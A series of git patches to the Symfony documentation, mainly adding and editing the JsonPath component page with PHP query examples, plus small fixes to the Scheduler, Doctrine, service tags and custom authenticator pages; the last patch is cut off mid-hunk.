+The JsonPath Component
+======================
+
+.. versionadded:: 7.3
+
+    The JsonPath component was introduced in Symfony 7.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The JsonPath component provides a powerful way to query and extract data from
+JSON structures. It implements the `RFC 9535 - JSONPath`_
+standard, allowing you to navigate complex JSON data with ease.
+
+Just as the :doc:`DomCrawler component </components/dom_crawler>` allows you to navigate and query HTML/XML documents
+using XPath, the JsonPath component provides a similar experience to traverse and search JSON structures
+using JSONPath expressions. The component also offers an abstraction layer for data extraction.
+
+Installation
+------------
+
+You can install the component in your project using Composer:
+
+.. code-block:: terminal
+
+    $ composer require symfony/json-path
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
+object from a JSON string. For the following examples, we'll use this sample
+"bookstore" JSON data::
+
+    use Symfony\Component\JsonPath\JsonCrawler;
+
+    $json = <<<'JSON'
+    {
+        "store": {
+            "book": [
+                {
+                    "category": "reference",
+                    "author": "Nigel Rees",
+                    "title": "Sayings of the Century",
+                    "price": 8.95
+                },
+                {
+                    "category": "fiction",
+                    "author": "Evelyn Waugh",
+                    "title": "Sword of Honour",
+                    "price": 12.99
+                },
+                {
+                    "category": "fiction",
+                    "author": "Herman Melville",
+                    "title": "Moby Dick",
+                    "isbn": "0-553-21311-3",
+                    "price": 8.99
+                },
+                {
+                    "category": "fiction",
+                    "author": "John Ronald Reuel Tolkien",
+                    "title": "The Lord of the Rings",
+                    "isbn": "0-395-19395-8",
+                    "price": 22.99
+                }
+            ],
+            "bicycle": {
+                "color": "red",
+                "price": 399
+            }
+        }
+    }
+    JSON;
+
+    $crawler = new JsonCrawler($json);
+
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start querying
+the data. This method always returns an array of matching values.
+
+Querying with Expressions
+-------------------------
+
+The primary way to query the JSON is by passing a JSONPath expression string
+to the :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+
+Accessing a Specific Property
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Use dot-notation for object keys and square brackets for array indices. The root
+of the document is represented by ``$``::
+
+    // Get the title of the first book in the store
+    $titles = $crawler->find('$.store.book[0].title');
+
+    // $titles is ['Sayings of the Century']
+
+While dot-notation is common, JSONPath offers alternative syntaxes which can be more flexible. For instance, bracket notation (`['...']`) is required if a key contains spaces or special characters::
+
+    // This is equivalent to the previous example and works with special keys
+    $titles = $crawler->find('$["store"]["book"][0]["title"]');
+
+    // You can also build the query programmatically for more complex scenarios
+    use Symfony\Component\JsonPath\JsonPath;
+
+    $path = (new JsonPath())->key('store')->key('book')->first()->key('title');
+    $titles = $crawler->find($path);
+
+Searching with the Descendant Operator
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The descendant operator (``..``) recursively searches for a given key, allowing
+you to find values without specifying the full path::
+
+    // Get all authors from anywhere in the document
+    $authors = $crawler->find('$..author');
+
+    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
+
+Filtering Results
+~~~~~~~~~~~~~~~~~
+
+JSONPath includes a powerful filter syntax (``?(<expression>)``) to select items
+based on a condition. The current item within the filter is referenced by ``@``::
+
+    // Get all books with a price less than 10
+    $cheapBooks = $crawler->find('$.store.book[?(@.price < 10)]');
+
+    /*
+    $cheapBooks contains two book objects:
+    the one by "Nigel Rees" and the one by "Herman Melville"
+    */
+
+Building Queries Programmatically
+---------------------------------
+
+For more dynamic or complex query building, you can use the fluent API provided
+by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This allows you
+to construct a query object step-by-step. The ``JsonPath`` object can then be
+passed to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+
+The main advantage of the programmatic builder is that it automatically handles
+the correct escaping of keys and values, preventing syntax errors::
+
+    use Symfony\Component\JsonPath\JsonPath;
+
+    $path = (new JsonPath())
+        ->key('store')       // Selects the 'store' key
+        ->key('book')        // Then the 'book' key
+        ->index(1);          // Then the item at index 1 (the second book)
+
+    // The created $path object is equivalent to the string '$["store"]["book"][1]'
+    $book = $crawler->find($path);
+
+    // $book contains the book object for "Sword of Honour"
+
+The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several methods to build your query:
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::key`
+    Adds a key selector. The key name will be properly escaped::
+
+        // Creates the path '$["key\"with\"quotes"]'
+        $path = (new JsonPath())->key('key"with"quotes');
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::deepScan`
+    Adds the descendant operator ``..`` to perform a recursive search from the
+    current point in the path::
+
+        // Get all prices in the store: '$["store"]..["price"]'
+        $path = (new JsonPath())->key('store')->deepScan()->key('price');
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::all`
+    Adds the wildcard operator ``[*]`` to select all items in an array or object::
+
+        // Creates the path '$["store"]["book"][*]'
+        $path = (new JsonPath())->key('store')->key('book')->all();
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
+    Adds an array index selector.
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
+    Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
+
+        // Get the last book: '$["store"]["book"][-1]'
+        $path = (new JsonPath())->key('store')->key('book')->last();
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::slice`
+    Adds an array slice selector ``[start:end:step]``::
+
+        // Get books from index 1 up to (but not including) index 3
+        // Creates the path '$["store"]["book"][1:3]'
+        $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
+
+        // Get every second book from the first four books
+        // Creates the path '$["store"]["book"][0:4:2]'
+        $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::filter`
+    Adds a filter expression. The expression string is the part that goes inside
+    the ``?()`` syntax::
+
+        // Get expensive books: '$["store"]["book"][?(@.price > 20)]'
+        $path = (new JsonPath())
+            ->key('store')
+            ->key('book')
+            ->filter('@.price > 20');
+
+Advanced Querying
+-----------------
+
+For a complete overview of advanced operators like wildcards and functions within
+filters, please refer to the `Querying with Expressions`_ section above. All these
+features are supported and can be combined with the programmatic builder where
+appropriate (e.g., inside a ``filter()`` expression).
+
+Error Handling
+--------------
+
+The component will throw specific exceptions for invalid input or queries:
+
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`: Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string.
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`: Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error).
+* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`: Thrown for errors within the JsonPath expression itself, such as using an unknown function::
+
+    use Symfony\Component\JsonPath\Exception\InvalidJsonStringInputException;
+    use Symfony\Component\JsonPath\Exception\JsonCrawlerException;
+
+    try {
+        // Example of malformed JSON
+        $crawler = new JsonCrawler('{"store": }');
+        $crawler->find('$..*');
+    } catch (InvalidJsonStringInputException $e) {
+        // ... handle error
+    }
+
+    try {
+        // Example of an invalid query
+        $crawler->find('$.store.book[?unknown_function(@.price)]');
+    } catch (JsonCrawlerException $e) {
+        // ... handle error
+    }
+
+Learn more
+----------
+
+.. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From a624ac1d49de48c8293fcb32c362e5881ce98224 Mon Sep 17 00:00:00 2001
From: Niklas <niklas.brunberg@cag.se>
Date: Mon, 16 Jun 2025 13:47:44 +0200
Subject: [PATCH 5743/5766] Fix spelling in Scheduler docs

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index f88d9e4f328..5028c00e2ec 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -237,7 +237,7 @@ this will create a very long running list of schedules at that exact time.
 This may cause an issue if a task has a memory leak.
 
 You can add a hash symbol (``#``) in expressions to generate random values.
-Athough the values are random, they are predictable and consistent because they
+Although the values are random, they are predictable and consistent because they
 are generated based on the message. A message with string representation ``my task``
 and a defined frequency of ``# # * * *`` will have an idempotent frequency
 of ``56 20 * * *`` (every day at 8:56pm).

From 59b34b4a19ffe4fe138450e7610033ef51f89e24 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:17:54 +0200
Subject: [PATCH 5744/5766] minor

---
 components/json_path.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index bd0f7c72dcf..f4a5f8a2d7d 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -240,7 +240,4 @@ The component will throw specific exceptions for invalid input or queries:
         // ... handle error
     }
 
-Learn more
-----------
-
 .. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From 85127397cc5bb77e4cb2dc269b263d3c2ef5ed7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:19:31 +0200
Subject: [PATCH 5745/5766] minor

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 2f0d5852c7f..5c3d2fd7687 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -74,7 +74,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
 
-    #   master
     versionadded_directive_major_version:
         major_version: 6
 

From b6bbd96745833faef10337f647d2e3df798f5278 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:22:04 +0200
Subject: [PATCH 5746/5766] minor

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e14e4b9e4b5..6a1438322fa 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -797,9 +797,9 @@ variable. Let's say you want the first or the last comment of a product dependin
         Comment $comment
     ): Response {
     }
-    
+
 .. _doctrine-entity-value-resolver-resolve-target-entities:
-    
+
 Fetch via Interfaces
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -818,7 +818,7 @@ resolved automatically::
     ): Response {
         // ...
     }
-        
+
 .. versionadded:: 7.3
 
     Support for target entity resolution in the ``EntityValueResolver`` was

From 26defdfc2105699b2e91a9792385fd44f8b8f10a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:24:30 +0200
Subject: [PATCH 5747/5766] minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index fab25ea910a..bc3d28c90ff 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -162,7 +162,7 @@ class, call this method in the ``loadExtension()`` method of the main bundle cla
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-    
+
     class MyBundle extends AbstractBundle
     {
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void

From d4c4f2dd5aad66314d56cbd008b68627b216d29a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 16 Jun 2025 21:46:46 +0200
Subject: [PATCH 5748/5766] [Security]: Removing recommendations to lowercase
 email adresses

Closes https://github.com/symfony/symfony-docs/issues/21080

Page: https://symfony.com/doc/current/security/custom_authenticator.html#user-identifier
---
 security/custom_authenticator.rst | 34 ++++++-------------------------
 1 file changed, 6 insertions(+), 28 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index d3dab39c719..035054d0899 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -282,39 +282,17 @@ associated with the user. It allows loading the user through the configured
             }
         }
 
-It's a good practice to normalize the user identifier before using it. This
-ensures that variations like "john.doe", "John.Doe", or "JOHN.DOE" are treated
-as the same user.
-
-Normalization typically involves converting the identifier to lowercase and
-trimming extra spaces. For example, Google considers the following email
-addresses equivalent: ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and
-``johndoe@gmail.com``. This is due to normalization rules that remove dots and
-lowercase the address.
-
-In enterprise environments, users might authenticate using different identifier
-formats, such as:
-
-* ``john.doe@acme.com``
-* ``acme.com\jdoe``
-* ``https://acme.com/+jdoe``
-* ``acct:jdoe@acme.com``
-
-Applying normalization (e.g. lowercasing, trimming, or unifying formats) helps
-ensure consistent identity resolution and prevents duplication caused by
-format differences.
-
-In Symfony applications, you can optionally pass a user identifier normalizer as
-the third argument to the ``UserBadge``. This callable receives the ``$userIdentifier``
-and must return a normalized string.
+You can normalize the user identifier before using it (e.g. to ensure that variations like
+"john.doe", "John.Doe", or "JOHN.DOE" are treated as the same user).
+In Symfony applications, you can optionally pass a user identifier normalizer as the
+third argument to the ``UserBadge``. This callable receives the ``$userIdentifier`` and must return a string.
 
 .. versionadded:: 7.3
 
     Support for user identifier normalizers was introduced in Symfony 7.3.
 
-For instance, the example below uses a normalizer that converts usernames to
-a normalized, ASCII-only, lowercase format suitable for consistent comparison
-and storage::
+The example below uses a normalizer that converts usernames to
+a normalized, ASCII-only, lowercase format::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;

From 287d274224af825b45cbd699b3f73f7717a23685 Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Tue, 17 Jun 2025 08:34:18 +0200
Subject: [PATCH 5749/5766] repair codeblock

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7a031c886e7..3a547042de7 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1290,7 +1290,7 @@ be used directly on the class of the service you want to configure::
     }
 
 You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
-same service under different indexes:
+same service under different indexes::
 
     #[AsTaggedItem(index: 'handler_one', priority: 5)]
     #[AsTaggedItem(index: 'handler_two', priority: 20)]

From 974e9d1955428042ca48ed01f116c557152bfc34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jun 2025 17:58:59 +0200
Subject: [PATCH 5750/5766] Minor tweaks

---
 security/custom_authenticator.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 035054d0899..462ec21521c 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -282,17 +282,19 @@ associated with the user. It allows loading the user through the configured
             }
         }
 
-You can normalize the user identifier before using it (e.g. to ensure that variations like
-"john.doe", "John.Doe", or "JOHN.DOE" are treated as the same user).
-In Symfony applications, you can optionally pass a user identifier normalizer as the
-third argument to the ``UserBadge``. This callable receives the ``$userIdentifier`` and must return a string.
+Some applications normalize user identifiers before processing them. For example,
+lowercasing identifiers helps treat values like "john.doe", "John.Doe", or
+"JOHN.DOE" as equivalent in systems where identifiers are case-insensitive.
+
+If needed, you can pass a normalizer as the third argument to ``UserBadge``.
+This callable receives the ``$userIdentifier`` and must return a string.
 
 .. versionadded:: 7.3
 
     Support for user identifier normalizers was introduced in Symfony 7.3.
 
-The example below uses a normalizer that converts usernames to
-a normalized, ASCII-only, lowercase format::
+The example below uses a normalizer that converts usernames to a normalized,
+ASCII-only, lowercase format::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;

From f547cc7ba7149c8355104257810c7292ceadcfb5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Jun 2025 15:38:58 +0200
Subject: [PATCH 5751/5766] [JsonPath] Minor fixes and tweaks

---
 components/json_path.rst | 151 ++++++++++++++++++++-------------------
 1 file changed, 78 insertions(+), 73 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index f4a5f8a2d7d..ec5db0e8e74 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -6,13 +6,15 @@ The JsonPath Component
     The JsonPath component was introduced in Symfony 7.3 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
-The JsonPath component provides a powerful way to query and extract data from
-JSON structures. It implements the `RFC 9535 - JSONPath`_
-standard, allowing you to navigate complex JSON data with ease.
+The JsonPath component lets you query and extract data from JSON structures.
+It implements the `RFC 9535 – JSONPath`_ standard, allowing you to navigate
+complex JSON data.
 
-Just as the :doc:`DomCrawler component </components/dom_crawler>` allows you to navigate and query HTML/XML documents
-using XPath, the JsonPath component provides a similar experience to traverse and search JSON structures
-using JSONPath expressions. The component also offers an abstraction layer for data extraction.
+Similar to the :doc:`DomCrawler component </components/dom_crawler>`, which lets
+you navigate and query HTML or XML documents with XPath, the JsonPath component
+offers the same convenience for traversing and searching JSON structures through
+JSONPath expressions. The component also provides an abstraction layer for data
+extraction.
 
 Installation
 ------------
@@ -29,8 +31,8 @@ Usage
 -----
 
 To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
-object from a JSON string. For the following examples, we'll use this sample
-"bookstore" JSON data::
+object from a JSON string. The following examples use this sample "bookstore"
+JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -75,8 +77,8 @@ object from a JSON string. For the following examples, we'll use this sample
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start querying
-the data. This method always returns an array of matching values.
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
+method to start querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -87,24 +89,26 @@ to the :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 Accessing a Specific Property
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use dot-notation for object keys and square brackets for array indices. The root
+Use dot notation for object keys and square brackets for array indices. The root
 of the document is represented by ``$``::
 
-    // Get the title of the first book in the store
+    // get the title of the first book in the store
     $titles = $crawler->find('$.store.book[0].title');
 
     // $titles is ['Sayings of the Century']
 
-While dot-notation is common, JSONPath offers alternative syntaxes which can be more flexible. For instance, bracket notation (`['...']`) is required if a key contains spaces or special characters::
+Dot notation is the default, but JSONPath provides other syntaxes for cases where
+it doesn't work. Use bracket notation (``['...']``) when a key contains spaces
+or special characters::
 
-    // This is equivalent to the previous example and works with special keys
+    // this is equivalent to the previous example
     $titles = $crawler->find('$["store"]["book"][0]["title"]');
 
-    // You can also build the query programmatically for more complex scenarios
-    use Symfony\Component\JsonPath\JsonPath;
+    // this expression requires brackets because some keys use dots or spaces
+    $titles = $crawler->find('$["store"]["book collection"][0]["title.original"]');
 
-    $path = (new JsonPath())->key('store')->key('book')->first()->key('title');
-    $titles = $crawler->find($path);
+    // you can combine both notations
+    $titles = $crawler->find('$["store"].book[0].title');
 
 Searching with the Descendant Operator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -112,7 +116,7 @@ Searching with the Descendant Operator
 The descendant operator (``..``) recursively searches for a given key, allowing
 you to find values without specifying the full path::
 
-    // Get all authors from anywhere in the document
+    // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
     // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
@@ -120,113 +124,114 @@ you to find values without specifying the full path::
 Filtering Results
 ~~~~~~~~~~~~~~~~~
 
-JSONPath includes a powerful filter syntax (``?(<expression>)``) to select items
-based on a condition. The current item within the filter is referenced by ``@``::
+JSONPath includes a filter syntax (``?(expression)``) to select items based on
+a condition. The current item within the filter is referenced by ``@``::
 
-    // Get all books with a price less than 10
+    // get all books with a price less than 10
     $cheapBooks = $crawler->find('$.store.book[?(@.price < 10)]');
 
-    /*
-    $cheapBooks contains two book objects:
-    the one by "Nigel Rees" and the one by "Herman Melville"
-    */
-
 Building Queries Programmatically
 ---------------------------------
 
-For more dynamic or complex query building, you can use the fluent API provided
-by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This allows you
-to construct a query object step-by-step. The ``JsonPath`` object can then be
-passed to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+For more dynamic or complex query building, use the fluent API provided
+by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
+construct a query object step by step. The ``JsonPath`` object can then be passed
+to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
-the correct escaping of keys and values, preventing syntax errors::
+escaping of keys and values, preventing syntax errors::
 
     use Symfony\Component\JsonPath\JsonPath;
 
     $path = (new JsonPath())
-        ->key('store')       // Selects the 'store' key
-        ->key('book')        // Then the 'book' key
-        ->index(1);          // Then the item at index 1 (the second book)
+        ->key('store') // selects the 'store' key
+        ->key('book')  // then the 'book' key
+        ->index(1);    // then the second item (indexes start at 0)
 
-    // The created $path object is equivalent to the string '$["store"]["book"][1]'
+    // the created $path object is equivalent to the string '$["store"]["book"][1]'
     $book = $crawler->find($path);
 
     // $book contains the book object for "Sword of Honour"
 
-The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several methods to build your query:
+The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several
+methods to build your query:
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::key`
-    Adds a key selector. The key name will be properly escaped::
+  Adds a key selector. The key name is properly escaped::
 
-        // Creates the path '$["key\"with\"quotes"]'
-        $path = (new JsonPath())->key('key"with"quotes');
+      // creates the path '$["key\"with\"quotes"]'
+      $path = (new JsonPath())->key('key"with"quotes');
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::deepScan`
-    Adds the descendant operator ``..`` to perform a recursive search from the
-    current point in the path::
+  Adds the descendant operator ``..`` to perform a recursive search from the
+  current point in the path::
 
-        // Get all prices in the store: '$["store"]..["price"]'
-        $path = (new JsonPath())->key('store')->deepScan()->key('price');
+      // get all prices in the store: '$["store"]..["price"]'
+      $path = (new JsonPath())->key('store')->deepScan()->key('price');
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::all`
-    Adds the wildcard operator ``[*]`` to select all items in an array or object::
+  Adds the wildcard operator ``[*]`` to select all items in an array or object::
 
-        // Creates the path '$["store"]["book"][*]'
+        // creates the path '$["store"]["book"][*]'
         $path = (new JsonPath())->key('store')->key('book')->all();
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
-    Adds an array index selector.
+  Adds an array index selector. Index numbers start at ``0``.
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
-    Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
+  Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
 
-        // Get the last book: '$["store"]["book"][-1]'
-        $path = (new JsonPath())->key('store')->key('book')->last();
+      // get the last book: '$["store"]["book"][-1]'
+      $path = (new JsonPath())->key('store')->key('book')->last();
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::slice`
-    Adds an array slice selector ``[start:end:step]``::
+  Adds an array slice selector ``[start:end:step]``::
 
-        // Get books from index 1 up to (but not including) index 3
-        // Creates the path '$["store"]["book"][1:3]'
-        $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
+      // get books from index 1 up to (but not including) index 3
+      // creates the path '$["store"]["book"][1:3]'
+      $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
 
-        // Get every second book from the first four books
-        // Creates the path '$["store"]["book"][0:4:2]'
-        $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
+      // get every second book from the first four books
+      // creates the path '$["store"]["book"][0:4:2]'
+      $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::filter`
-    Adds a filter expression. The expression string is the part that goes inside
-    the ``?()`` syntax::
+  Adds a filter expression. The expression string is the part that goes inside
+  the ``?()`` syntax::
 
-        // Get expensive books: '$["store"]["book"][?(@.price > 20)]'
-        $path = (new JsonPath())
-            ->key('store')
-            ->key('book')
-            ->filter('@.price > 20');
+      // get expensive books: '$["store"]["book"][?(@.price > 20)]'
+      $path = (new JsonPath())
+          ->key('store')
+          ->key('book')
+          ->filter('@.price > 20');
 
 Advanced Querying
 -----------------
 
 For a complete overview of advanced operators like wildcards and functions within
-filters, please refer to the `Querying with Expressions`_ section above. All these
-features are supported and can be combined with the programmatic builder where
+filters, refer to the `Querying with Expressions`_ section above. All these
+features are supported and can be combined with the programmatic builder when
 appropriate (e.g., inside a ``filter()`` expression).
 
 Error Handling
 --------------
 
-The component will throw specific exceptions for invalid input or queries:
+The component throws specific exceptions for invalid input or queries:
+
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
+  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
+* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
+  Thrown for errors within the JsonPath expression itself, such as using an unknown function
 
-* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`: Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string.
-* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`: Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error).
-* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`: Thrown for errors within the JsonPath expression itself, such as using an unknown function::
+Example of handling errors::
 
     use Symfony\Component\JsonPath\Exception\InvalidJsonStringInputException;
     use Symfony\Component\JsonPath\Exception\JsonCrawlerException;
 
     try {
-        // Example of malformed JSON
+        // the following line contains malformed JSON
         $crawler = new JsonCrawler('{"store": }');
         $crawler->find('$..*');
     } catch (InvalidJsonStringInputException $e) {
@@ -234,10 +239,10 @@ The component will throw specific exceptions for invalid input or queries:
     }
 
     try {
-        // Example of an invalid query
+        // the following line contains an invalid query
         $crawler->find('$.store.book[?unknown_function(@.price)]');
     } catch (JsonCrawlerException $e) {
         // ... handle error
     }
 
-.. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535
+.. _`RFC 9535 – JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From 87ccbb5a8bf610a2f58bada88c682d21f594c91a Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Tue, 17 Jun 2025 10:44:20 +0200
Subject: [PATCH 5752/5766] [JsonPath] Add test documentation for the component

---
 components/json_path.rst | 122 ++++++++++++++++++++++++++++++++++-----
 1 file changed, 107 insertions(+), 15 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index ec5db0e8e74..294eed98917 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -30,9 +30,9 @@ You can install the component in your project using Composer:
 Usage
 -----
 
-To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
-object from a JSON string. The following examples use this sample "bookstore"
-JSON data::
+To start querying a JSON document, first create a
+:class:`Symfony\\Component\\JsonPath\\JsonCrawler`object from a JSON string. The
+following examples use this sample "bookstore" JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -77,8 +77,9 @@ JSON data::
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
-method to start querying the data. This method returns an array of matching values.
+Once you have the crawler instance, use its
+:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start
+querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -97,9 +98,9 @@ of the document is represented by ``$``::
 
     // $titles is ['Sayings of the Century']
 
-Dot notation is the default, but JSONPath provides other syntaxes for cases where
-it doesn't work. Use bracket notation (``['...']``) when a key contains spaces
-or special characters::
+Dot notation is the default, but JSONPath provides other syntaxes for cases
+where it doesn't work. Use bracket notation (``['...']``) when a key contains
+spaces or special characters::
 
     // this is equivalent to the previous example
     $titles = $crawler->find('$["store"]["book"][0]["title"]');
@@ -119,7 +120,12 @@ you to find values without specifying the full path::
     // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
-    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
+    // $authors is equals to [
+        'Nigel Rees',
+        'Evelyn Waugh',
+        'Herman Melville',
+        'John Ronald Reuel Tolkien'
+    ]
 
 Filtering Results
 ~~~~~~~~~~~~~~~~~
@@ -135,8 +141,9 @@ Building Queries Programmatically
 
 For more dynamic or complex query building, use the fluent API provided
 by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
-construct a query object step by step. The ``JsonPath`` object can then be passed
-to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+construct a query object step by step. The ``JsonPath`` object can then be
+passed to the crawler's
+:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
 escaping of keys and values, preventing syntax errors::
@@ -178,7 +185,8 @@ methods to build your query:
